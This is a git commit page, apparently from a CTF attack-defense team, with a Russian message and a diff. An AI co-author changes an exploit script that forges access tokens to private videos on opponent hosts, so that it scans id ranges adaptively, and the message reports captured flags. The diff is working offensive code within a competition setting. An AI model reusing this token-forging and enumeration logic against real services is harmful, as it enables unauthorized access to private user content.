sploits: адаптивная глубина скана в форже токена

Фиксированная глубина 3000 не работала на быстрых боксах: на 10.10.10.1
id растут >1000/мин, приватные ролики чекера ушли на 12000 вниз от top и
сплойт возвращался пустым.

Теперь сканируем блоками по 2000 сверху вниз до 14000 и выходим, как только
набрали 6 целей -- на медленных боксах это по-прежнему один блок.

Проверено: 4 флага с 10.10.10.1 (глубина 12042), 3 с 10.10.10.5
(глубина 1653), на 10.10.10.2 корректно определился патч.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
2026-08-26 13:07:29 +03:00
co-authored by Claude Opus 5
parent 526374b5a6
commit cebec7dc6d
+14 -4
View File
@@ -16,7 +16,9 @@ USER_AGENTS = [
] ]
PORT = 5000 PORT = 5000
DEPTH = 3000 # id растут ~500/мин из-за флуда, приватные тонут глубоко BLOCK = 2000 # сканируем блоками, выходим как только набрали целей
MAX_DEPTH = 14000 # на быстрых боксах id растут >1000/мин
WANT_TARGETS = 6 # столько приватных достаточно, чтобы не жечь раунд
WORKERS = 50 WORKERS = 50
MAX_FORGE_FAILS = 6 # столько подряд отказов /access => команда запатчена MAX_FORGE_FAILS = 6 # столько подряд отказов /access => команда запатчена
WATCH_RX = re.compile(r"/watch/(\d+)") WATCH_RX = re.compile(r"/watch/(\d+)")
@@ -96,11 +98,19 @@ def exploit(target_ip):
except requests.RequestException: except requests.RequestException:
return None return None
span = range(top, max(0, top - DEPTH), -1) # Скорость роста id сильно разная: где-то 500/мин, где-то за 1000/мин,
# и приватные чекера уходят вглубь на тысячи. Идём блоками сверху вниз
# и останавливаемся, как только набрали достаточно целей.
private = []
with ThreadPoolExecutor(max_workers=WORKERS) as ex: with ThreadPoolExecutor(max_workers=WORKERS) as ex:
private = [v for v in ex.map(is_private, span) if v] for lo in range(top, max(0, top - MAX_DEPTH), -BLOCK):
span = range(lo, max(0, lo - BLOCK), -1)
private.extend(v for v in ex.map(is_private, span) if v)
if len(private) >= WANT_TARGETS:
break
private.sort(reverse=True) private.sort(reverse=True)
print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)}", print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)} "
f"(глубина до {top - min(private) if private else 0})",
file=sys.stderr, flush=True) file=sys.stderr, flush=True)
fails = 0 fails = 0